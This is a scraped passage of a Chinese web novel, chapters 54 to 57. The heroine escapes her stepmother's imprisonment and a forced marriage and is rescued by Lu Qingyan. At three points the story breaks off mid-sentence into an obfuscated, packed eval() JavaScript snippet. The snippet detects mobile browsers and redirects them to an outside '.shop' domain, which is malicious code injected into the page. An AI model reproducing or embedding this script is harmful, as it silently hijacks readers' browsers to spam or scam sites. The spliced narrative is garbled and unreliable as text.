当初妙仪怎么也不肯跟他说,他还是从施姨母私下里叫她时偷听来的。后来装着胆子这么叫她,许久之后妙仪才答应。 不过外人前,妙仪从不提起自己的小字,陆青檐自然是不知道的。 想起姜昙,施茂林心情复杂,随口应了一声。 陆青檐行至廊下,看到亭角一盆昙花。 刘武懂得看主子的眼色,立时忍着疼痛,小心翼翼将那盆昙花奉至主子跟前。 陆青檐也不接,任由刘武鲜血淋漓的手高举着,将花盆中的昙花花瓣揪断。 一边悠悠地同施茂林说话:“施兄你猜,为什么昙花总是在夜半至黎明时开?” 施茂林摇头。 陆青檐示意他看亭角的飞檐。 昨夜的寒露如同细雨,到了现在,依旧密密匝匝地往下滴着,一下一下地砸在放在亭角的昙花芯子里。 陆青檐的笑声意味不明:“因为承不了太多雨露,撑不到天明,就不行了。” 施茂林隐约觉得,他说的并非是表面之意,可再多的,他实在听不懂。 若是在以往,他定然大大方方地问出来。可眼下他意识到,陆青檐和子扬的的确确是不一样的。 似乎是瞧见施茂林谨慎的模样,陆青檐被逗笑了。 “施兄勿怪,我心情太好,有些喜极而疯了。” 陆青檐笑看着他:“方才所言,你不要往心里去。” 施茂林讪讪一笑。 刚才推门,他分明是怒极踢人,现下却说自己喜极……或许,他真的疯了。 这时,他忽然发现陆青檐很不一样,身上衣服松松垮垮,露出大片胸膛,胸膛之上还有伤疤。 这原本不值得人注意。 可是伤疤之上,还有……吻痕、抓痕,暧昧不已。 眼前的陆青檐,是经历了一场情事,方才清醒不久的。 胸膛被遮住,施茂林回神,往上对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056172|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住陆青檐的视线,僵硬地笑了笑。 陆青檐随意拢了拢衣襟:“施兄,你来范府不是有事吗?我也有人要寻,就此别过。” 施茂林愣愣地回礼,转身离开。待行至拐角,离开陆家下人的视线,才觉得身体回暖。 他摸着腰间厚厚一沓银票,忽然想到一个问题—— 他只说自己来赏花,陆青檐是怎么知道自己有别事要办的? 客房廊下,陆青檐又看了会儿花,将花瓣薅秃,披衣回房。 不多时有婢女进门,悄无声息地将床铺理好。 视线扫过桌前的人影,本想着不多看,却结结实实地愣住了—— 那人手里竟拿着荷色的女子肚兜儿,正缠在冷白的手指上,光明正大地亵玩。 接着肚兜儿被塞进了他的衣襟,妥帖安放在胸口处,随后冷然的视线就看了过来。 婢女被冻得一个激灵,连滚带爬地出去。 卯时三刻,陆青檐推门而出,已穿戴好衣冠。 刘武牵马在廊下等着,陆青檐翻身上马,正要前行。忽有下人过来,通报范府主人范大人求见。 “不见,没空理他。” 陆青檐想起一事来:“不过倒有个人托他关照一二。” 下人应是。 不等他去传话,陆青檐策马走过他前头去,正巧撞上门口战战兢兢的立着的范大人。 陆青檐纵马,直接从他头上越了过去。 范大人一声未吭,只听得一声女子的尖叫,料想是站在父亲身边的范小姐。 陆青檐倒高看他一眼:“范大人,好胆色。” 范大人抖着腿讪笑。 陆青檐纵马踏过园子里盛放的花朵,疾驰离去。 身后一群小跑着的护卫和下人。 范大人的腰一弯到底,恭送这不知何时来到他小小府邸的大佛。 . 大船一路北上。 姜昙恹恹缩在船舱的客房里。 门口蓦地泄进来一阵天光,姜昙盖住眼睛,从指缝里看到紫珠进来,手里拿着什么。 “姑娘快看,京城热卖的吉祥轮!” 江上的风从门缝里钻进来,吹得轮子咕噜噜地转,在地板上漾出一片彩色的光。 姜昙听到外面一群小童自船板上笑闹着跑过去。 被这笑意浸染,她忍不住推门而出,迎面是江上徐徐吹来的清风。 快到盐城了。 姜昙站在船边,一个女童自船上的货郎那里买到了吉祥轮,举着高呼过来。却不小心偏了方向,一头撞得姜昙踉跄。 “谁家的小孩,险些把人撞江里去!”紫珠叉腰怒视女童,被姜昙拍了拍肩,站到身后去。 女童乖乖认错:“小姐,对不起。” 姜昙并不在意,摸摸女童的脑袋,顺手在女童的团成小球的两个发髻上捏了一下:“别在船边上跑。” 说完带着紫珠离去。 女童摸了摸发髻,晴天霹雳地愣了—— 瘪的。 她左看右看寻不到姜昙,又在船上跑,却还记得姜昙说过不要在船边,于是在挨着船舱的方向跑。 不多时,又撞到一人。 女童从善如流:“对不起,公子。” 头顶上传来一声:“说对不起有用的话,岂不是人人都能做坏事?” 女童抬头,又看到一张漂亮的脸,只不过和之前的小姐相比,这人的脸色不是很好看就是了。 “那你想怎么样?” 一只手夺了她的吉祥轮,往前一丢,瞬间淹没在滚滚江水中。 陆青檐森森而笑:“对不起,小孩。” 54. 第 54 章 船靠岸时,行人陆续下船。 姜昙与紫珠走在后面,听到人群中女童的哭闹声。 女童哭着要吉祥轮,她的爹娘不断哄着,说到了岸上就买。那女童就是不依,最终两方协商无果,女童挨了一记脑瓜崩,哭得震天响。 紫珠皱着鼻子,抱怨现在的小童真难缠。 姜昙不置可否。 她想起来姜府里那个小姑娘,琴夫人的女儿,比眼前这小童大不了几岁,却总是安安静静的。 回到盐城,以防被相熟的人认出来,姜昙和紫珠特意戴了斗笠,用面纱遮住面容,装作初来乍到的外乡人。 两人在姜府外的茶馆内等了一个晌午,只见大门有几个婆子出来买菜,不见其余人的影子。 尤其是喜爱外出扯布买衣的琴夫人,竟一次都没有出来过。 这实在出人意料。 莫非锦衣卫的动作这么快,姜家已经被抄家了?可是一点动静都没有。 紫珠装作买菜的丫头去菜市打听了一圈,回来松了口气:“姑娘,老爷带着一家人出远门去了,府里怕是只有容小姐一个人。” 容小姐正是琴夫人改嫁前,与先夫生下的女儿。 姜昙隐隐觉得不对劲,可又一细想,姜清源和琴夫人相携逃命,将容儿丢下来,倒也符合他们的性情。 或许是真跑了。 紫珠问:“姑娘,咱们要偷偷回府吗?” 当初答应施茂林的求亲时,姜昙提出了一个要求,婚后要把娘亲的牌位一起带到施家去。 如今施茂林食言了。 紫珠以为姜昙要回去取牌位。 姜昙却摇头。 娘亲死的时候心心念念着要入姜家祖坟,而琴夫人却寻死觅活,撺掇姜清源把她的坟迁了出来。 那段时日姜昙浑浑噩噩,自顾不暇。等到清醒过来时为时已晚,她大闹了一场,姜清源便给她一个牌位,搪塞她已把坟迁回来了。 可姜昙深知他的秉性,他一定没有。 姜昙说:“府里的牌位是死物,那个拿走也无用。我们直接去坟前,带着夫人一起走。” 紫珠听懂她的言下之意,膛目结舌:“去、去哪儿?” “不知道。” 但姜昙想,总归不能留在这。 . 姜昙记得母亲的坟在何处。 循着记忆中的位置寻去,姜昙果然看到了落满树叶的墓碑。 她心中其实有一个大胆的打算,若是与施茂林婚事能成,她准备把娘亲的坟一起带走。 如今与施茂林一拍两散,就更要带走。 姜昙将落叶、灰尘清理干净,在墓前安静跪着,烧了一些纸钱、元宝。 紫珠絮絮叨叨地说着话,听不清是什么,却伤心得直抹泪。 不多时,一壶清酒浇过墓前。 姜昙起身,准备与紫珠先离开。 身后一个人声叫住她们,是不确定的声音:“姜妙仪?是你么?” 姜昙原本没准备承认,可转身看到那人手中拿着扫帚等物,才想明白为何娘亲墓前为何只是覆满落叶灰尘,却并不杂乱。 定时打理的人就是眼前人。 姜昙朝他行了个大礼:“多谢你照看我娘。” “应该的。”年轻男子挠头:“你竟还认得我,当初我和茂林一起玩的可好啦!” 姜昙其实没认出来,她扫了一眼旁边的墓:先考杜恒之墓。 她想起来了。 此人父亲早逝,家住得离这里不远,因此常来扫墓。姜昙第一次来看娘亲时,遇见他就说了几句话。 后来发现,此人竟是施茂林的友人,姓杜名……姜昙又想不起来了。 “杜公子。”姜昙从善如流。 两人随意交谈了两句,姜昙便岔开话题,提出告辞。 杜公子看起来意犹未尽,或许是想问施茂林的近况,却也只能打住。 “那……再会。” 离得远了,紫珠的老毛病又翻了,在她耳边挤眉弄眼地低语:“姑娘,这杜公子看起来也不错呢。长相尚可,家中做些小生意,也有上进之意。” 姜昙拨开她的脑袋:“或许人家已有了娘子。” 紫珠一副无可救药的表情看她:“姑娘有时候真是迟钝。” “我倒觉得自己聪明伶俐。” “不知羞!” 二人谈笑着回去,却在走出不久,看到路口候着的一行人时,陡然紧张起来。 为首的女人笑盈盈地看着她:“妙仪,你回家来怎么也不说一声,我跟你爹好去渡口接你。” 这就是琴夫人。 姜昙没有说话,四下里寻着出路。 琴夫人见她一副不把自己放在眼里的模样,脸上的笑容维持不下去了,挥手示意身后的家丁一起上。 “抓起来!” . 姜昙和紫珠被抓回了姜府祠堂。 这个从小到大她最熟悉的地方,一旦惹了琴夫人生气,就会被关在这里,她在这里害怕过、抗争过,也曾寻死过,最终决定活着过。 琴夫人其实比姜昙大不了几岁,脸上盖着厚厚的脂粉,整个人透露着艳俗的老态。 以前姜昙看不起她以色侍人,可渐渐地她明白,姜清源爱脸面又自卑得紧,琴夫人年轻扮老,正拿捏住了他的性子。 她其实是看低了琴夫人。 不过姜昙也知道,琴夫人的手段仅限于拿捏男人,其余再多的,也不能太高看她。 琴夫人唇上的口脂像血一样,笑起来如同吃人的妖怪:“你瞧瞧你,敬酒不吃吃罚酒。原本我与你爹商量,打算将你好好地请回来。可没想到你没有半点长进,还是这么个不敬父母的不堪性子,那就别怪我这个当母亲的使些手段了。” 紫珠狠狠呸了她一声:“你个不入流的贱胚子,住在人家家里勾引主家夫人的相公,真不要脸!还想做嫡姑娘的母亲,亏你说得出口,一个暖床的玩意儿!你爹娘教你杀鱼你爬床,教人听见真不怕人笑话!” 被戳中不堪的往事,琴夫人脸色霎时扭曲起来:“我早该发卖了你!” “没如你的意,夫人在天之灵,又把姑奶奶送回来了!” 琴夫人怒气上头一撸袖子就要动手,下人们拦的拦,劝的劝。 很快琴夫人意识到自己如今的身份,指挥下人动手:“把这贱人的嘴给我缝起来!” 趁姜昙外出的这段时日,姜家的旧人早被琴夫人换了个干净,如今留下的都是新面孔,唯她命是从。 若是被他们抓住,怕是手下不能留情了。 姜昙及时挡在紫珠面前,一句话就让琴夫人冷静:“姨娘。” 她悠悠地问:“谁告诉你,在我娘的墓前拦我的?” 琴夫人不说话了。 她理了理发髻衣领,恢复姜家大夫人的做派:“当然是我自己想的。你娘的牌位在府里,墓在盐城。我和你爹早就料到你要回来,派人守在城门处,一路跟着你,自然知道你的行踪。” 她竟变得如此聪明了? 姜昙不信:“前段日子,姜大人急匆匆地去扬州找官员买命,应是早就掏空了家里的银钱。可我看姨娘身上的衣服是新做的,胭脂也是从未见过的颜色,还有你头上的金簪,腕上的玉镯……你和姜大人又搭上了哪路大人物?” 闻言,琴夫人神色有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一副命不久矣的模样。 “人呢?” 稍一坐定,刘员外就迫不及待要见人。 琴夫人笑着将遮挡的屏风移开,姜昙被绑了手脚,刘员外也不觉得奇怪,绕着姜昙转了两圈,满意地连连点头。 “好。”做买卖一样的神态。 “好与不好,绑着我怎么看得出来?” 姜昙瞥了一眼刘员外:“能不能走,手脚是否齐全,身体是否有缺陷,一概不知。万一我是瘸子或者身上有恶疾,员外也觉得好?” 刘员外觉得很有道理,便对琴夫人说:“放开手脚,走两步我看看。” 琴夫人犹豫片刻,命人放开。姜昙面上一派平静,她看不出来什么。 姜昙如言走了两步,行动如常。 忽地抬头对刘员外笑笑:“我的身子是否有缺陷,员外要不要亲自验一验?” 这一笑勾得刘员外色心大动,连声说好,撵着姜昙往屏风后去,连琴夫人在后面阻拦也顾不得了。 琴夫人下意识就觉得不对,姜昙不是如此乖觉的人。 果然不多时,屏风后传来一声尖叫,声音扯到半道,戛然而止,似是背什么制止了。 “抓人!” 未等姜家下人上前,姜昙一脚踹开了屏风。 屏风倒下去,里面是眉眼凌厉的姜昙……和被她簪子指着脖颈的刘员外。 “琴夫人,不要轻举妄动。”姜昙的簪子往刘员外近前逼近:“否则,我就毁了你的金山银山。” 55. 第 55 章 姜家下人立时不敢动了。 琴夫人面容扭曲:“你以为你能威胁我?刘员外在朝中有人,连你爹都要敬他三分。你要敢伤刘员外一根汗毛,保准要你和你身边那个贱人偿命!” 姜昙淡淡说:“谁说我要伤刘员外了?我只是有些私话与刘员外说。” 话虽这么说,姜昙手中的簪子却没有退一寸,反而逐渐向前逼近。 刘员外尿都要被吓出来了,连声呼着女英雄。 姜昙的一把嗓子好比春日鸣翠的黄鹂鸟,低声说话时比三月的江风还温柔。 “员外有所不知,为了将我卖个好价钱,我这位姨娘向你隐瞒了一些事情。我曾于冬日在江水中浸泡五个时辰有余,寒气入体,这辈子子嗣艰难。而且我是个残废,双手手筋曾被割断,伤好后再也拿不动重物,就算侥幸生下孩子,说不定也是一个残废。而且……” 姜昙的声音更低:“我脑子有病,发狂时会如现在这般持兵伤人,尤爱割人喉管。脾气上来,连自己的喉管都割,不信请看。” 簪子将刘员外的脑袋拨过去。 近距离细看,刘员外这才看到姜昙脖颈上一道狰狞如蜈蚣的疤痕。 刘员外脑子里悚然闪过夜里熟睡时,枕边女人提着刀抹了自己脖子的景象。 刘员外大叫着:“不做了!这买卖不做了!” 姜昙不动声色送开手,刘员外连滚带爬地跑了出去,一群小厮搀着他上了轿子。 琴夫人脸色铁青。 姜昙拍了拍手,恢复先前那副乖巧的模样,坐在椅子上喝茶。 “本来看在你可怜的份上,想着对你好一点,特意给你寻一户好人家!没想到你还是死性不改,竟这么不识趣!” 琴夫人抖着手:“把她给我关起来,不许给送饭吃!” 门被从外面锁上。 不多时,紫珠也被关了进来。 她偷笑着:“姑娘,琴夫人怕你,不敢真的动咱们。” 当年琴夫人刚进府时兴风作浪,姜昙得知她怕鬼,于是扮鬼吓唬过她许多次。即使被关祠堂也不改,一得自由就守在琴夫人的膳房、妆台、花园旁,最后让琴夫人不敢出门。 就连她放弃性命之时,也曾从祠堂里出来,爬到琴夫人的床前,让她看着自己死。 琴夫人确实不敢动她。 以她的脑子,想到如何对付她,还得花上至少一日。 这一日就是她的机会。 窗户也被上了锁,姜昙从窗纸上掏了个小洞,紫珠将耳环取下来折成细丝,在锁上捣鼓了几下,就将锁捅开了。 紫珠自得地看了姜昙一眼,伸手推窗,忽然脸色一变:“窗外挡着东西。” 姜昙也试了一下,挡着的东西是个沉重的箱子,她们在屋内很难使力,除非在外面才有办法推开。 许久不见,琴夫人倒变聪明了。 破门而出倒是容易些,可更容易惊动门外看守的下人。 姜昙正思索着,窗户那处忽然传来咯吱咯吱的动静。堵着窗户的箱子极缓地被人挪开,逐渐露出一个能容人的口子。 很快那箱子摇摇欲坠,咚地摔在地上。 窗户开了。 箱子下却露出一片衣角,隐约可见压着一个小姑娘。紫珠瞬时就认出那是谁:“容小姐!” 姜昙跳出去将箱子推开,容儿躺在箱子下额头砸出一个血洞,依旧不言不语。 容儿是琴夫人的女儿,却和琴夫人的秉性截然相反。 琴夫人嫁给姜清源后,将与先夫生的女儿视为透明人,下人们也随着主人的心意薄待她。 姜昙一直以为她是哑巴,后来被关在祠堂里流了一地血,是容儿高声唤人,才及时救了她一命。 现在也是这样。 她怕惨叫声招惹来看守,故而忍痛不出声。 姜昙都明白她的心意。 “跟不跟我走?”为她包扎好伤口,姜昙紧握着容儿的手问道。 她希望容儿跟自己走,可容儿摇摇头,指了一个方向让她逃。 尽管琴夫人待她不好,可她不愿意离开自己的母亲。 姜昙踟蹰一瞬,松手逃走。 她如今自身难保,硬带人走也是害了人家。 容儿指的方向,是姜府最近被雨水冲刷塌掉一角、还未来得及修好的院墙。 姜昙和紫珠借着几个筐子爬上院墙,眼看出府之路近在咫尺,身后却追上来几个姜府家丁。 琴夫人更是气喘吁吁亲自追来,顾不得鬓边的金簪掉了一地,厉声道:“抓住她!” 琴夫人竟真的变聪明了? 姜昙心有疑虑,却不敢耽搁,先推了紫珠下去。只来得及给紫珠使一个先走的眼神,自己就被扯住头发拽了下来。 竟是琴夫人亲自动的手。 姜昙看着琴夫人狼狈的模样,讥笑出声:“我已无利用价值,夫人和我置气有什么意思?” 琴夫人是一个嫌麻烦的人,有很多事有贼心没贼胆。和姜清源一样,贪了银子不敢花太多,一有风吹草动就献全部身家换命。 此次她回来又没有过分招惹她,琴夫人算盘落空,应该懒得再算计她才对。 可琴夫人却说:“谁说你没有利用价值?嫁不了富商还可嫁鳏夫,街尾有一户跛子刚打死了妻子,我明日就着媒婆上门提亲,尽快给你们办婚事!” 姜昙被下人拖起来:“你不怕我杀了新夫,给姜大人惹祸吗?姜大人嫡女下嫁跛脚鳏夫,想必会招来不少关注,先前的锦衣卫……” 话到此处,戛然而止。 琴夫人脸色变了几变,却很快恢复如常:“老爷搭上了朝中新贵,杀个人算什么事?嫁出去的女儿泼出去的水,你嫁过去就是那鳏夫的人,跟姜家无关。” 姜昙又被关回了祠堂。 等到门外家丁们将门窗钉死,姜昙也想不出,姜清源能搭上哪一路朝廷新贵,竟连锦衣卫都不怕。 晚间时,琴夫人又来了一趟。 她身后的两个婆子掐住姜昙的手腕,位置拿捏得分毫不差,正掐在她的伤疤处。 姜昙浑身上下被搜罗一遍,发簪等尖利之物,以及袖子里藏得隐蔽的药粉都被收走。 更奇怪的是,她们不知从哪找来一条细细的铁链,锁在姜昙的脚腕,另一端往地面砸了深深的铁环,铁链缚在铁环处。 姜昙扯了扯链子,坚固异常,像是用了精铁,不动声色地笑问:“琴夫人竟这么舍得下血本,究竟花了多少银子,买衣服首饰不好吗?” 琴夫人淡淡瞥了她一眼。 下人们放下晚饭,便出门落了锁。 祠堂的门窗被木板钉起来,四处一片漆黑,只能从缝隙中看到尚明的天色。 姜昙用力扯着链子,钉入地面的铁钉纹丝不动,反而从那处传来一股震荡之意。 天色分明还未黑,祠堂里遍地都是蜡烛,姜昙却感觉到脚腕处传来彻骨的寒意。 门窗未钉死的缝隙中,仿佛有什么正窥视着她。 姜昙狠 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昏昏沉沉中,姜昙听到花轿外面锣鼓喧天。 那跛了的鳏夫应是没来,在最前方迎亲的是一只公鸡,高高地被轿夫抬在轿子上,扯着嗓子鸣叫。 一声破晓的鸡鸣后,姜昙忽然醒了过来。 方才短暂地晕了过去,她好像又听到凤凰涅槃时死去的公鸡。 不能这样下去。 花轿拐弯一个颠婆时,姜昙用尽全力顺势撞在轿子里的木头上,闻到一股血腥味时,姜昙终于清醒了过来。 脑子清醒,腿脚还是软的。 姜昙低头看了眼轿子,琴夫人不舍得花银子,这轿子是旧的,横梁上起了毛边,有一根硕大的木刺。 撞上去后腿会受伤,但也会清醒。 姜昙深吸一口气,闭眼倒了下去。 然而意料之中的疼痛却并没有传来,短暂的失重之后,竟有人牢牢的托着自己。 杜衡香。 姜昙蓦然抬头,惊愕认出来人:“陆青檐?!” 他怎么在盐城?他来干什么! 此刻外面已乱成了一锅粥。 不知哪来的贼人纵马冲散了迎亲的队伍,吹打的,抬轿的以及媒婆都愣在原地,不知干什么好。 许久,不知谁大喊:“不得了了,新娘子被抢啦——” 姜府的下人此刻才回过神来,从乱成一团的人群中挤着过来抓人。 “快跑!” 姜昙反手抓着陆青檐的袖子,忽然又想起什么:“可是我的脚腕……” 脚腕的链子不知何时已经断了,只剩细细的一截拖在地上。 陆青檐顺势将链子捞起来:“不是要快跑?” 话虽如此,姜昙实在好奇他是来干什么的。 陆青檐说:“听说你有难,我来救你……” 话未说完,他就挨了一闷棍,立时被打得吐了一口血,整个人踉跄着扑在姜昙怀里。 “你——” 看着那么强势高大的一个人,怎么这么没用。 姜昙礼貌地忍下了后半句话。 ……这究竟是救她,还是添麻烦? 姜昙迅速探入他衣襟,将钱袋里的银子扔了一地,队伍更乱了。 “跟我走!” 姜昙牵住他的手,大步带他向前跑去。 56. 第 56 章 起初是姜昙带着陆青檐跑,后来她逐渐泄力,还未来得及回头看姜府家丁是否追上来,就被陆青檐握紧手腕,带着向前跑去。 她实在想不通陆青檐为何来盐城,也想不通他究竟从哪里听到她有难。 可没等姜昙问个明白,他就忽然停在一户人家门前,晕了过去。 不大的宅门上挂着一对灯笼,上面写着“陆”字,这约莫是陆青檐在盐城的府邸。 姜昙勉强接着陆青檐身体,不让他摔倒在地,也不让他挨着自己,可是很快她就放弃了。 她浑身无力,撑不了太久。 看着陆青檐靠在肩上的侧脸,嘴角还渗着丝丝血迹。 姜昙想,陆府家大业大,陆青檐又是国公府长公子,他在盐城也有房产,这并不算奇怪。 . 这是一间临水的房子。 往前走不远就是河岸,岸边有一艘小船,还未到渔夫打渔的时间。 姜昙买不到鱼,只好提着药回去。 陆青檐睡了大半日,依旧没有苏醒的迹象。 姜昙为他诊脉、熬药,撬开他的嘴喂了一次药。 陆青檐只迷糊着睁了一会儿眼睛,随后又睡了过去。 他睡得不太安稳,有一阵整个人都不一样。身体僵直地躺在床上,像是被魇住了。嘴角紧紧地绷着,一张脸像极了石塑。 陆青檐面色平静而扭曲,像是下一刻就要挣破石塑,四分五裂。 快入夜时,姜昙又熬了一回药,陆青檐在喂药前醒了。 “姜昙,姜昙……” 一连串亲热的呼唤,执意扯着她的袖子看她。 他眼神失了焦距,显然是又看不见了,可依旧如此炙热地盯着她。 姜昙被看得脸热,用力将袖子扯出来,坏意地看着他十分着急地在床面上摸索。 片刻后,她终于大发慈悲地出声:“叫我有什么事?” 陆青檐越摸越远的手蓦地缩回来,精准地捉住她的袖子。 “没什么事。” 陆青檐欲言又止,显然是有事的,他终究是个忍不住的性子。 片刻后他说:“我听说你与施茂林早已分开了,那你能不能给我一次机会,反正我们已经——” 无礼。 姜昙捏着羹勺,眼疾手快地往他喋喋不休的嘴里喂了一勺汤药。 “好喝吗?” 陆青檐漂亮的面庞扭曲了好一阵,声音隐忍地从齿缝里挤出来:“好喝。” 嘴硬。 煮药时,姜昙特意加了许多黄连,飘起来的烟都是苦的。 “那你就多喝点。” 姜昙把羹勺扔到一边,托着汤碗给陆青檐全部灌了进去。 这一次陆青檐的脸色更难看了。 姜昙趁机扯了扯自己的衣袖,陆青檐有所察觉,忽然抓得更紧了。 他手上的青筋突起,姜昙险些以为下山来的精怪要显形了,可是他却生生止住。 陆青檐眼尾微红,舔了舔唇角的药渍,看向姜昙的方向:“还有吗?” 他竟不嫌苦,甚至还想喝? “没了。” 没能等到意料之中的反应,姜昙有些恼,伸手在他肩上一推,陆青檐便仰面倒在枕上,头发散了一床。 姜昙问他:“你随行的护卫在哪?” 陆青檐闭上了眼睛,昏睡过去。 虽然安神的药材是她亲自加进去的,可姜昙还是觉得,他是不是昏睡得太凑巧了? 探了探他的额头,果然起热了,难怪疯了一样。 她看了一眼陆青檐,觉得虽然他看不见,但应是能自理的,不会半夜惊厥,也不会突然吐血。 不过是起热而已,不至于。 可是姜昙没有说服自己,走到门口还是顿住了步子。犹豫片刻,姜昙坐回陆青檐的床边。 还是守着吧。 万一一觉醒来,他突然死了呢? 姜昙睡得很不好。 她梦见自己在山林中采药,结果碰到一条大蟒。那大蟒自腰间爬上来,一寸一寸地缠紧,挤压得她无法呼吸,大口大口地喘着气。 大蟒缠了她一夜。 姜昙怎么都醒不过来,最终是被一声鸡鸣唤醒。汗涔涔地睁眼,窗外天色初明。 她探了探陆青檐的额头,发现他退烧了。 . 门前的渔夫终于出现了。 一层薄雾中,渔夫撑船而来,姜昙在岸上等候。 两人流落山中时,她是见识过陆青檐的挑剔的。青菜、鸡蛋、薄粥这些寻常人家的早食,他是看不起也吃不下的。 若不是在山中住的时日短,陆青檐怕是要饿死在那里。 渔夫的船靠岸,拿过鱼篓给姜昙挑了一条最肥的鱼:“承惠,三十五文。” 姜昙点头,一手去摸钱袋。忽然她顿住了,眼神尴尬地与渔夫对视。 渔夫满脸警惕地将鱼收回来。 身后一道声音:“姜昙,你怎么买东西不给钱?” 陆青檐悠悠地抄手凑过来,难为他精神还这么好,一张脸白得似鬼,竟还笑得出来。 “你该不会是没钱吧?” 姜昙看着他不说话。 陆青檐脸上的神色更加得意,边笑边去摸自己的钱袋。 姜昙期待地看着他的手—— 空的。 “昨日你把我的钱像撒豆子一样撒出去,所以我也没钱。” 渔夫鄙夷地看着两人,重重把鱼儿放回鱼篓。 姜昙转身,打算回去喝西北风。 “且慢。” 一句话叫住两人,陆青檐说:“虽然我没钱,但我身上还有值钱的东西跟你换。” 在姜昙与渔夫的目光中,陆青檐二话不说开始宽衣解带,转眼间已解了腰带,要脱外衣了。 姜昙一脸惊愕:“不是,陆青檐你等等!” 渔夫倒吸一口凉气,飞快撑船离岸,远远地喊道:“我们这一带都是正经卖鱼的,不做皮肉生意!” 陆青檐脸色阴沉:“本公子也只是想拿衣服与你换鱼!上好的蜀锦苏绣!比你这条船还贵!” 卖鱼的已吓跑了。 姜昙无言看他半晌,还是转头走了。 她还是自力更生吧。 好在邻居是个热心的大娘,不仅为姜昙指了路,还借给她一根鱼叉,姜昙便寻了地方自己捕鱼。 姜昙高高挽起裤脚,在水草中寻觅着鱼儿的影子。 陆青檐又跟过来了。 他站在岸上说:“姜昙,我方才找到一个识货之人,已与他换了食物。别打鱼了,回去吧。” 姜昙暂时不想搭理他,只专心找着水中的鱼。 一尾手掌大的小鱼从眼前游过,姜昙静静地举起鱼叉,正要叉下,身后水波一阵激烈的荡漾。 鱼儿被惊走了。 姜昙无奈地看向身后,陆青檐一身单衣下水了。 “你不嫌冷吗?” 陆青檐眼中被风吹起了雾,轻轻一眨,化成了清澈的江水。 一身单衣,被风一吹,便鼓起来灌了满怀的冷意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115160|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他分明冷得颤抖,却嘴硬笑说:“不冷,一点都不冷。” 姜昙懒得与他说话。 水波又是一阵激荡,陆青檐淌到她身边:“我来帮你。” 说着,他拿走姜昙手中的鱼叉,将水里搅得一阵混浊。 姜昙蹙眉,想告诉他不是这么叉的。下一刻,却见陆青檐往前淌了一步,许是没站住,一头栽进了水里。 姜昙:“……” 那里可是深水。 陆青檐十分安静地沉了下去,显然是一个旱鸭子。 ……为什么这么没用。 姜昙深深吸了口气,认命地潜入水中去捞他。 陆青檐不算沉,可身量却很高,姜昙好不容易拖着他上了岸,发现他已喝了个水饱。 或许不用再煮鱼给他了。 姜昙按压着他的腹部,陆青檐大口吐着水,按压了许久,他却还没醒。 “长公子?陆青檐?” 陆青檐紧闭双眼,没有回应。 姜昙凑近听他的呼吸,很是思索了一会儿,最后贴上他的唇。 贴着贴着,唇上忽然有了动静,另一片紧紧厮磨着她的,他甚至探出了舌头。 他根本无事! 姜昙恼怒地推开他。 陆青檐的几缕额发贴在面上,像一只湿漉漉的水鬼,眼神幽幽地盯着她,竟敢再次凑过来。 “闭上眼睛。” 冰冷的气息中夹杂着一丝微弱的热意,汹涌地扑在面上。 姜昙咬牙切齿,挥手在他脸上留下一道红印。 这下他总该清醒了。 好歹是世家公子,怎能容忍一个女子三番两次地掌掴他的脸,践踏他的尊严。 可陆青檐显然不是姜昙以为的那种世家公子。 他比上次更为长进,顶着半脸的手指印,丝毫没有犹豫地吻上她的手掌,在她手心舔了一口。 折腾一番,他的体温已回来了些。 舌头在掌心蹭过,又热又湿。 短暂的惊愕过后,姜昙将他重新推翻到水里,气哄哄地转身离开。 岸边水浅,总不会淹死他! 姜昙开始不搭理陆青檐。 她肚子里的那股怒意来得师出有名,可似乎又莫名其妙。 看到陆青檐时,她目不斜视地走过,全当没看到他,自然也不会与他说话。 陆青檐没有问起,仿佛顺其自然就接受了她的怒意,也不主动与她说话。只是从旁边经过或是背过身时,总能察觉到一道灼灼的目光停留在身上。 姜昙不常待在陆宅。 她这几日经常出门,与陆青檐见面的次数大大减少,再次看到陆青檐时,似乎连脸都陌生了几分。 这一日晌午她办完事情回来,竟看到陆青檐坐在门口,身边围着街坊一群大姑娘小媳妇儿,叽叽喳喳地指点什么。 陆青檐脸上是灿如暖阳的笑意,世家公子的谦逊姿态拿了个十成十:“是这里不对吗?那我待会儿再改改。” 旁人似乎夸了他一句,陆青檐立刻笑说:“哪里哪里,是诸位夫人小姐教的好,我还要多多学习才是。” 这里住的都是平民,哪里听过旁人如此敬重讲究地叫自己夫人小姐,尤其是被这么一个容色好、气质佳的公子这么称呼着。 女子们听得脸红,乐得花枝乱颤。 姜昙顿了顿,皱着眉从门口快速进去,同时随意低头看了一眼—— 陆青檐在绣荷包。 国公府长公子不知哪根筋搭错了,或许是病还没好,又发疯了。 57. 第 57 章 身后伸出一只手,覆在姜昙的手腕:“如何?” 语气颇为含情脉脉。 姜昙试着挣了一下,浑身无力,于是放弃了。 “你跟街坊那些夫人小姐们说笑,就为了学这个?” 